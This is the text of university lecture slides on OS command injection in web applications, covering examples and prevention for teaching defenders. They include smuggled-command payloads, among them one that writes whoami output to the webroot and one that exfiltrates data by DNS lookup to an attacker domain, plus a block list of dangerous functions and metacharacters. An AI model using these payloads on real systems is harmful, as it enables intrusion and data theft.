08-Command_Injection.pptx
08-Command_Injection.pptx
Kameswari Chebrolu
Department of CSE, IIT Bombay
Command Injection
● Attacker can execute arbitrary (OS) commands
on a host running the server
– Occurs when a web applications runs OS commands
to interact with the host and file systems
– Exploits an application vulnerability, such as
insufficient input validation
● Can fully compromise the application and its
data
– Can also compromise other systems in the
organization exploiting trust relationships
● Hard with programming languages like Java that
run in a virtual machine
– Also doesn’t gel with their philosophy
● Applications should be designed to be portable between
different operating systems → Cannot rely on specific OS
functions
● OS commands are are more common with
interpreted languages (e.g. PHP, Ruby, Python)
– Python and Ruby are popular for scripting tasks →
they support OS command execution well!
Code vs Command Injection
● Code injection: any type of attack that involves
injection of code
– Malicious code is executed in the the language of
the application and within the application context
– Made possible by a lack of proper data validation
– Confined to the application or system (depends on
permissions granted)
– Examples: XSS (javascript code injection),
complex deserialization attacks
● Command injection: any type of attack that
involves executing commands in a system shell
– Shell: A command-line interpreter that provides a
user interface for accessing an operating system's
services
– Extends default functionality of the application
● No malicious code is involved
– Often gives attacker greater control over the target
system
1. Attacker sends 2. Server executes
shell payload command
webroot
● File can then be retrieved by the browser
● Example:
– Injection command: “www.cse.iitb.ac.in; whoami >
/var/www/static/whoami.txt ;”
● Applications often serve static content from /var/www/static
● > character redirects output of command “whoami” to the
specified file in webroot
– Browser can fetch the file via
https://vulnerable-website.com/whoami.txt
Another example:
● Injected command: “www.cse.iitb.ac.in; dig
`whoami`.web-attacker.com”
– Backtick performs inline execution of an injected
command within the original command
– This causes a DNS lookup to attacker’s domain
● Attacker can parse the query to extract the sensitive info
Prevention
● Do not call OS commands from
application-layer code
– Use safer platform based APIs
– E.g. If developer wants to send mail using PHP
● Do not use mail command available in OS
● Use mail() function in PHP
– Can enforce this by disabling dangerous function
● E.g. configure the php.ini file to block dangerous
commands by adding below line
– disable_functions=exec,passthru,shell_exec,system
● If unavoidable (e.g. ping is not supported in
PHP), do input validation
– Validate against a whitelist of permitted value
– Validate that the input is a number or an IP address
(based on context)
– Validate input contains only alphanumeric
characters, no other syntax or whitespace
– Remember input can come not only from
GET/POST but also from HTTP headers, JSON or
XML data etc
● If possible, avoid blacklisting or sanitizing input by
escaping shell metacharacters
– Too error prone, determined attacker can often bypass
– In PHP, you could use escapeshellarg and
escapeshellcmd functions
● $domain = escapeshellarg($_GET['domain']);
– If blacklisting is unavoidable, filter or escape the
following special characters:
● Windows: ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `
● Linux: { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `
● To escape shell characters, one can also invoke calls with
arrays instead of strings
● In Python, (first option is bad, uses string!)
● from subprocess import call
call(["dig", domain])
● In Ruby (similar to Python)
● system("dig #{domain}")
vs
● system("dig", domain)
● Automate testing for command injection in
build pipeline
Real World Example
Polyvore ImageMagick:
https://nahamsec.wordpress.com/2016/05/09/expl
oiting-imagemagick-on-yahoo/
Summary
● Command Injection allows attacker to execute
arbitrary (OS) commands on a host running the
server
– Difficult in Java, but possible in PHP, Python, Ruby
● Dangerous commands can permit attacker to
explore filesystem, read sensitive information, and
compromise the entire application
– Blind command injection can also be leveraged
● Prevention: do not call OS commands; input
validation via whitelisting, blacklisting, automate
testing for injection
References
● https://portswigger.net/web-security/os-comma
nd-injection